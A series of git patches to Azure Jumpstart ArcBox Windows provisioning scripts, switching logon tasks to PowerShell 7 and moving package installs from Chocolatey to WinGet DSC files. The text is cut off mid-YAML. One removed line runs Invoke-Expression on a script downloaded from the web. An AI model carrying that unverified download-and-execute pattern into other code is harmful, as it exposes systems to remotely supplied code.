From 97d6e9e109de368c68fd3508cdcb32d9a7e65ef2 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 12 Dec 2023 09:03:22 +0000 Subject: [PATCH 001/506] Added PowerShell 7 installation and modifed scheduled tasks Signed-off-by: Jan Egil Ring --- .../artifacts/Bootstrap.ps1 | 28 ++++++++++++++----- 1 file changed, 21 insertions(+), 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 6d95966f98..28ce149fac 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -121,6 +121,20 @@ if ($flavor -eq "DataOps") { } # Installing tools + +Write-Header "Installing PowerShell 7" + +$ProgressPreference = 'SilentlyContinue' +$url = "https://github.com/PowerShell/PowerShell/releases/latest" +$latestVersion = (Invoke-WebRequest -UseBasicParsing -Uri $url).Content | Select-String -Pattern "v[0-9]+\.[0-9]+\.[0-9]+" | Select-Object -ExpandProperty Matches | Select-Object -ExpandProperty Value +$downloadUrl = "https://github.com/PowerShell/PowerShell/releases/download/$latestVersion/PowerShell-$($latestVersion.Substring(1,5))-win-x64.msi" +Invoke-WebRequest -UseBasicParsing -Uri $downloadUrl -OutFile .\PowerShell7.msi +msiexec.exe /package PowerShell7.msi /quiet ADD_EXPLORER_CONTEXT_MENU_OPENPOWERSHELL=1 ADD_FILE_CONTEXT_MENU_RUNPOWERSHELL=1 ENABLE_PSREMOTING=1 REGISTER_MANIFEST=1 USE_MU=1 ENABLE_MU=1 ADD_PATH=1 +Start-Process msiexec.exe -Wait -ArgumentList '/I PowerShell7.msi /quiet ADD_EXPLORER_CONTEXT_MENU_OPENPOWERSHELL=1 ADD_FILE_CONTEXT_MENU_RUNPOWERSHELL=1 ENABLE_PSREMOTING=1 REGISTER_MANIFEST=1 USE_MU=1 ENABLE_MU=1 ADD_PATH=1' +Remove-Item .\PowerShell7.msi + +Copy-Item $PsHome\Profile.ps1 -Destination "C:\Program Files\PowerShell\7\" + Write-Header "Installing Chocolatey Apps" $chocolateyAppList = 'az.powershell,kubernetes-cli,vcredist140,microsoft-edge,azcopy10,vscode,git,7zip,kubectx,terraform,putty.install,kubernetes-helm,ssms,dotnet-sdk,setdefaultbrowser,zoomit,openssl.light' @@ -321,21 +335,21 @@ Write-Header "Configuring Logon Scripts" if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { # Creating scheduled task for ArcServersLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 Register-ScheduledTask -TaskName "ArcServersLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "Full") { # Creating scheduled task for DataServicesLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 Register-ScheduledTask -TaskName "DataServicesLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "DevOps") { # Creating scheduled task for DevOpsLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 Register-ScheduledTask -TaskName "DevOpsLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force } @@ -359,7 +373,7 @@ if ($flavor -eq "DataOps") { # Register schedule task to run after system reboot # schedule task to run after reboot to create reverse DNS lookup $Trigger = New-ScheduledTaskTrigger -AtStartup - $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" + $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -Trigger $Trigger -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." @@ -379,7 +393,7 @@ if ($flavor -eq "DataOps") { # Clean up Bootstrap.log Stop-Transcript - $logSuppress = Get-Content $bootstrapLogFile | Where-Object { $_ -notmatch "Host Application: powershell.exe" } + $logSuppress = Get-Content $bootstrapLogFile | Where-Object { $_ -notmatch "Host Application: pwsh.exe" } $logSuppress | Set-Content $bootstrapLogFile -Force # Restart computer @@ -389,7 +403,7 @@ else { # Creating scheduled task for MonitorWorkbookLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force # Disabling Windows Server Manager Scheduled Task @@ -406,6 +420,6 @@ else { # Clean up Bootstrap.log Write-Host "Clean up Bootstrap.log" Stop-Transcript - $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: powershell.exe" } + $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: pwsh.exe" } $logSuppress | Set-Content $Env:ArcBoxLogsDir\Bootstrap.log -Force } From b3226e82917b0533ac18ba6dcfc56e6f0ac93dac Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 12 Dec 2023 11:54:42 +0000 Subject: [PATCH 002/506] Added WinGet bootstrap Signed-off-by: Jan Egil Ring --- .../artifacts/Bootstrap.ps1 | 19 +++++++------- azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 26 +++++++++++++++++++ 2 files changed, 36 insertions(+), 9 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/WinGet.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 28ce149fac..12ba89e51a 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -172,7 +172,7 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/MonitorWorkbookLogonScript.ps1" Invoke-WebRequest ($templateBaseUrl + "artifacts/mgmtMonitorWorkbook.parameters.json") -OutFile $Env:ArcBoxDir\mgmtMonitorWorkbook.parameters.json Invoke-WebRequest ($templateBaseUrl + "artifacts/DeploymentStatus.ps1") -OutFile $Env:ArcBoxDir\DeploymentStatus.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/LogInstructions.txt") -OutFile $Env:ArcBoxLogsDir\LogInstructions.txt - +Invoke-WebRequest ($templateBaseUrl + "artifacts/WinGet.ps1") -OutFile $Env:ArcBoxDir\WinGet.ps1 Invoke-WebRequest ($templateBaseUrl + "../tests/GHActionDeploy.ps1") -OutFile "$Env:ArcBoxDir\GHActionDeploy.ps1" Invoke-WebRequest ($templateBaseUrl + "../tests/OpenSSHDeploy.ps1") -OutFile "$Env:ArcBoxDir\OpenSSHDeploy.ps1" @@ -332,25 +332,27 @@ if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) Write-Header "Configuring Logon Scripts" +# Creating scheduled task for WinGet.ps1 +$Trigger = New-ScheduledTaskTrigger -AtLogOn +$Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\WinGet.ps1 +Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { # Creating scheduled task for ArcServersLogonScript.ps1 - $Trigger = New-ScheduledTaskTrigger -AtLogOn $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 - Register-ScheduledTask -TaskName "ArcServersLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + Register-ScheduledTask -TaskName "ArcServersLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "Full") { # Creating scheduled task for DataServicesLogonScript.ps1 - $Trigger = New-ScheduledTaskTrigger -AtLogOn $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 - Register-ScheduledTask -TaskName "DataServicesLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + Register-ScheduledTask -TaskName "DataServicesLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "DevOps") { # Creating scheduled task for DevOpsLogonScript.ps1 - $Trigger = New-ScheduledTaskTrigger -AtLogOn $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 - Register-ScheduledTask -TaskName "DevOpsLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + Register-ScheduledTask -TaskName "DevOpsLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "DataOps") { @@ -372,9 +374,8 @@ if ($flavor -eq "DataOps") { # Creating scheduled task for DataOpsLogonScript.ps1 # Register schedule task to run after system reboot # schedule task to run after reboot to create reverse DNS lookup - $Trigger = New-ScheduledTaskTrigger -AtStartup $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" - Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -Trigger $Trigger -User SYSTEM -Action $Action -RunLevel "Highest" -Force + Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." Write-Host "`n" diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 new file mode 100644 index 0000000000..cd15ec0596 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -0,0 +1,26 @@ +$Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" + +$logFilePath = Join-Path -Path $Env:ArcBoxLogsDir -ChildPath ("WinGet-provisioning-" + (Get-Date -Format "yyyyMMddHHmmss") + ".log") + +Start-Transcript -Path $logFilePath -Force -ErrorAction SilentlyContinue + +# Install WinGet DSC resource - also installs Microsoft.WinGet.Client as implicit dependency +Install-PSResource -Name Microsoft.WinGet.DSC -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease + +# Install DSC resources required for ArcBox +Install-PSResource -Name HyperVDsc -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease + +# Install WinGet CLI +$null = Repair-WinGetPackageManager -AllUsers + +Write-Header "Installing WinGet packages and DSC configurations" +$winget = Join-Path -Path $env:LOCALAPPDATA -ChildPath Microsoft\WindowsApps\winget.exe +& $winget configure --file C:\ArcBox\DSC\configuration.dsc.yml --accept-configuration-agreements --disable-interactivity + +# Start remaining logon scripts +Get-ScheduledTask *LogonScript* | Start-ScheduledTask + +#Cleanup +Unregister-ScheduledTask -TaskName "WinGetLogonScript" -Confirm:$false +Stop-Transcript \ No newline at end of file From f2bda47ee234b6c9bcbeea0bf0d886974ce766a3 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 12 Dec 2023 12:58:16 +0000 Subject: [PATCH 003/506] Optimization - added variable $ScheduledTaskExecutable Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 28ce149fac..87e680ad85 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -332,24 +332,26 @@ if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) Write-Header "Configuring Logon Scripts" +$ScheduledTaskExecutable = "pwsh.exe" + if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { # Creating scheduled task for ArcServersLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 Register-ScheduledTask -TaskName "ArcServersLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "Full") { # Creating scheduled task for DataServicesLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 Register-ScheduledTask -TaskName "DataServicesLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "DevOps") { # Creating scheduled task for DevOpsLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 Register-ScheduledTask -TaskName "DevOpsLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force } @@ -373,7 +375,7 @@ if ($flavor -eq "DataOps") { # Register schedule task to run after system reboot # schedule task to run after reboot to create reverse DNS lookup $Trigger = New-ScheduledTaskTrigger -AtStartup - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -Trigger $Trigger -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." @@ -393,7 +395,7 @@ if ($flavor -eq "DataOps") { # Clean up Bootstrap.log Stop-Transcript - $logSuppress = Get-Content $bootstrapLogFile | Where-Object { $_ -notmatch "Host Application: pwsh.exe" } + $logSuppress = Get-Content $bootstrapLogFile | Where-Object { $_ -notmatch "Host Application: $ScheduledTaskExecutable" } $logSuppress | Set-Content $bootstrapLogFile -Force # Restart computer @@ -403,7 +405,7 @@ else { # Creating scheduled task for MonitorWorkbookLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force # Disabling Windows Server Manager Scheduled Task @@ -420,6 +422,6 @@ else { # Clean up Bootstrap.log Write-Host "Clean up Bootstrap.log" Stop-Transcript - $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: pwsh.exe" } + $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: $ScheduledTaskExecutable" } $logSuppress | Set-Content $Env:ArcBoxLogsDir\Bootstrap.log -Force } From 59d186e8104e535e01d8f200e7e2d314d2df42ff Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 12 Dec 2023 13:49:58 +0000 Subject: [PATCH 004/506] Moved package installations from Chocolatey to WinGet Signed-off-by: Jan Egil Ring --- .../ARM/clientVm/clientVm.json | 2 +- .../artifacts/Bootstrap.ps1 | 45 +------- azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 21 +++- .../artifacts/dsc/common.dsc.yml | 107 ++++++++++++++++++ .../artifacts/dsc/dataops.dsc.yml | 53 +++++++++ .../artifacts/dsc/devops.dsc.yml | 37 ++++++ .../artifacts/dsc/itpro.dsc.yml | 14 +++ .../bicep/clientVm/clientVm.bicep | 2 +- 8 files changed, 235 insertions(+), 46 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml create mode 100644 azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml create mode 100644 azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml create mode 100644 azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 28a3f36077..87839f663c 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -327,7 +327,7 @@ "[resourceId('Microsoft.Compute/virtualMachines/', variables('vmName'))]" ], "tags": { - "displayName": "config-choco" + "displayName": "config-bootstrap" }, "properties": { "publisher": "Microsoft.Compute", diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 12ba89e51a..2d4b73b8d0 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -73,6 +73,7 @@ param ( # Creating ArcBox path Write-Output "Creating ArcBox path" $Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxDscDir = "$Env:ArcBoxDir\DSC" $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" $Env:ArcBoxVMDir = "$Env:ArcBoxDir\Virtual Machines" $Env:ArcBoxKVDir = "$Env:ArcBoxDir\KeyVault" @@ -84,6 +85,7 @@ $Env:tempDir = "C:\Temp" $Env:ArcBoxDataOpsDir = "$Env:ArcBoxDir\DataOps" New-Item -Path $Env:ArcBoxDir -ItemType directory -Force +New-Item -Path $Env:ArcBoxDscDir -ItemType directory -Force New-Item -Path $Env:ArcBoxLogsDir -ItemType directory -Force New-Item -Path $Env:ArcBoxVMDir -ItemType directory -Force New-Item -Path $Env:ArcBoxKVDir -ItemType directory -Force @@ -135,34 +137,6 @@ Remove-Item .\PowerShell7.msi Copy-Item $PsHome\Profile.ps1 -Destination "C:\Program Files\PowerShell\7\" -Write-Header "Installing Chocolatey Apps" -$chocolateyAppList = 'az.powershell,kubernetes-cli,vcredist140,microsoft-edge,azcopy10,vscode,git,7zip,kubectx,terraform,putty.install,kubernetes-helm,ssms,dotnet-sdk,setdefaultbrowser,zoomit,openssl.light' - -try { - choco config get cacheLocation -} -catch { - Write-Output "Chocolatey not detected, trying to install now" - Invoke-Expression ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) -} - -Write-Host "Chocolatey Apps Specified" - -$appsToInstall = $chocolateyAppList -split "," | ForEach-Object { "$($_.Trim())" } - -foreach ($app in $appsToInstall) { - Write-Host "Installing $app" - & choco install $app /y -Force | Write-Output - -} - -Write-Header "Installing Azure CLI (64-bit not available via Chocolatey)" - -$ProgressPreference = 'SilentlyContinue' -Invoke-WebRequest -Uri https://aka.ms/installazurecliwindowsx64 -OutFile .\AzureCLI.msi -Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet' -Remove-Item .\AzureCLI.msi - Write-Header "Fetching GitHub Artifacts" # All flavors @@ -172,6 +146,10 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/MonitorWorkbookLogonScript.ps1" Invoke-WebRequest ($templateBaseUrl + "artifacts/mgmtMonitorWorkbook.parameters.json") -OutFile $Env:ArcBoxDir\mgmtMonitorWorkbook.parameters.json Invoke-WebRequest ($templateBaseUrl + "artifacts/DeploymentStatus.ps1") -OutFile $Env:ArcBoxDir\DeploymentStatus.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/LogInstructions.txt") -OutFile $Env:ArcBoxLogsDir\LogInstructions.txt +Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/common.dsc.yml") -OutFile $Env:ArcBoxDscDir\common.dsc.yml +Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/dataops.dsc.yml") -OutFile $Env:ArcBoxDscDir\dataops.dsc.yml +Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/devops.dsc.yml") -OutFile $Env:ArcBoxDscDir\devops.dsc.yml +Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\itpro.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/WinGet.ps1") -OutFile $Env:ArcBoxDir\WinGet.ps1 Invoke-WebRequest ($templateBaseUrl + "../tests/GHActionDeploy.ps1") -OutFile "$Env:ArcBoxDir\GHActionDeploy.ps1" Invoke-WebRequest ($templateBaseUrl + "../tests/OpenSSHDeploy.ps1") -OutFile "$Env:ArcBoxDir\OpenSSHDeploy.ps1" @@ -228,8 +206,6 @@ if ($flavor -eq "DataOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/ArcServersLogonScript.ps1") -OutFile $Env:ArcBoxDir\ArcServersLogonScript.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/DataOpsLogonScript.ps1") -OutFile $Env:ArcBoxDir\DataOpsLogonScript.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/RunAfterClientVMADJoin.ps1") -OutFile $Env:ArcBoxDir\RunAfterClientVMADJoin.ps1 - Invoke-WebRequest "https://azuredatastudio-update.azurewebsites.net/latest/win32-x64-archive/stable" -OutFile $Env:ArcBoxDir\azuredatastudio.zip - Invoke-WebRequest "https://aka.ms/azdata-msi" -OutFile $Env:ArcBoxDir\AZDataCLI.msi Invoke-WebRequest ($templateBaseUrl + "artifacts/settingsTemplate.json") -OutFile $Env:ArcBoxDir\settingsTemplate.json Invoke-WebRequest ($templateBaseUrl + "artifacts/DeploySQLMIADAuth.ps1") -OutFile $Env:ArcBoxDir\DeploySQLMIADAuth.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/dataController.json") -OutFile $Env:ArcBoxDir\dataController.json @@ -252,8 +228,6 @@ if ($flavor -eq "DataOps") { # Full if ($flavor -eq "Full") { Write-Host "Fetching Artifacts for Full Flavor" - Invoke-WebRequest "https://azuredatastudio-update.azurewebsites.net/latest/win32-x64-archive/stable" -OutFile $Env:ArcBoxDir\azuredatastudio.zip - Invoke-WebRequest "https://aka.ms/azdata-msi" -OutFile $Env:ArcBoxDir\AZDataCLI.msi Invoke-WebRequest ($templateBaseUrl + "artifacts/settingsTemplate.json") -OutFile $Env:ArcBoxDir\settingsTemplate.json Invoke-WebRequest ($templateBaseUrl + "artifacts/DataServicesLogonScript.ps1") -OutFile $Env:ArcBoxDir\DataServicesLogonScript.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/DeployPostgreSQL.ps1") -OutFile $Env:ArcBoxDir\DeployPostgreSQL.ps1 @@ -268,7 +242,6 @@ if ($flavor -eq "Full") { Invoke-WebRequest "https://github.com/ErikEJ/SqlQueryStress/releases/download/102/SqlQueryStressNet6.zip" -OutFile $Env:ArcBoxDir\SqlQueryStress.zip } -New-Item -path alias:kubectl -value 'C:\ProgramData\chocolatey\lib\kubernetes-cli\tools\kubernetes\client\bin\kubectl.exe' New-Item -path alias:azdata -value 'C:\Program Files (x86)\Microsoft SDKs\Azdata\CLI\wbin\azdata.cmd' # Disable Microsoft Edge sidebar @@ -291,12 +264,6 @@ If (-NOT (Test-Path $RegistryPath)) { } New-ItemProperty -Path $RegistryPath -Name $Name -Value $Value -PropertyType DWORD -Force -if ($flavor -eq "Full" -Or $flavor -eq "DataOps") { - Write-Header "Installing Azure Data Studio" - Expand-Archive $Env:ArcBoxDir\azuredatastudio.zip -DestinationPath 'C:\Program Files\Azure Data Studio' - Start-Process msiexec.exe -Wait -ArgumentList "/I $Env:ArcBoxDir\AZDataCLI.msi /quiet" -} - # Change RDP Port Write-Host "RDP port number from configuration is $rdpPort" if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index cd15ec0596..deea085382 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -1,7 +1,7 @@ -$Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxDir = 'C:\ArcBox' $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" -$logFilePath = Join-Path -Path $Env:ArcBoxLogsDir -ChildPath ("WinGet-provisioning-" + (Get-Date -Format "yyyyMMddHHmmss") + ".log") +$logFilePath = Join-Path -Path $Env:ArcBoxLogsDir -ChildPath ('WinGet-provisioning-' + (Get-Date -Format 'yyyyMMddHHmmss') + '.log') Start-Transcript -Path $logFilePath -Force -ErrorAction SilentlyContinue @@ -14,13 +14,24 @@ Install-PSResource -Name HyperVDsc -Scope AllUsers -Quiet -AcceptLicense -TrustR # Install WinGet CLI $null = Repair-WinGetPackageManager -AllUsers -Write-Header "Installing WinGet packages and DSC configurations" +Write-Header 'Installing WinGet packages and DSC configurations' $winget = Join-Path -Path $env:LOCALAPPDATA -ChildPath Microsoft\WindowsApps\winget.exe -& $winget configure --file C:\ArcBox\DSC\configuration.dsc.yml --accept-configuration-agreements --disable-interactivity +& $winget configure --file C:\ArcBox\DSC\common.dsc.yml --accept-configuration-agreements --disable-interactivity + +switch ($env:flavor) { + 'DevOps' { & $winget configure --file C:\ArcBox\DSC\devops.dsc.yml --accept-configuration-agreements --disable-interactivity } + 'DataOps' { & $winget configure --file C:\ArcBox\DSC\dataops.dsc.yml --accept-configuration-agreements --disable-interactivity } + 'ITPro' { & $winget configure --file C:\ArcBox\DSC\itpro.dsc.yml --accept-configuration-agreements --disable-interactivity } + 'Full' { + & $winget configure --file C:\ArcBox\DSC\devops.dsc.yml --accept-configuration-agreements --disable-interactivity + & $winget configure --file C:\ArcBox\DSC\dataops.dsc.yml --accept-configuration-agreements --disable-interactivity + & $winget configure --file C:\ArcBox\DSC\itpro.dsc.yml --accept-configuration-agreements --disable-interactivity + } +} # Start remaining logon scripts Get-ScheduledTask *LogonScript* | Start-ScheduledTask #Cleanup -Unregister-ScheduledTask -TaskName "WinGetLogonScript" -Confirm:$false +Unregister-ScheduledTask -TaskName 'WinGetLogonScript' -Confirm:$false Stop-Transcript \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml new file mode 100644 index 0000000000..1e6479c354 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml @@ -0,0 +1,107 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: git + directives: + description: Install Git + allowPrerelease: true + settings: + id: Git.Git + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: vscode + directives: + description: Install Visual Studio Code + allowPrerelease: true + settings: + id: Microsoft.VisualStudioCode + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: AzureCLI + directives: + description: Install Azure CLI + allowPrerelease: true + settings: + id: Microsoft.AzureCLI + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: PowerShell7 + directives: + description: Install PowerShell 7 + allowPrerelease: true + settings: + id: Microsoft.PowerShell + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectl + directives: + description: Install kubectl + allowPrerelease: true + settings: + id: Kubernetes.kubectl + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: edge + directives: + description: Install Microsoft Edge + allowPrerelease: true + settings: + id: Microsoft.Edge + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: azcopy + directives: + description: Install azcopy + allowPrerelease: true + settings: + id: Microsoft.Azure.AZCopy.10 + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: DotNetSDK7 + directives: + description: Install Microsoft DotNet SDK 7 + allowPrerelease: true + settings: + id: Microsoft.DotNet.SDK.7 + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: helm + directives: + description: Install Helm + 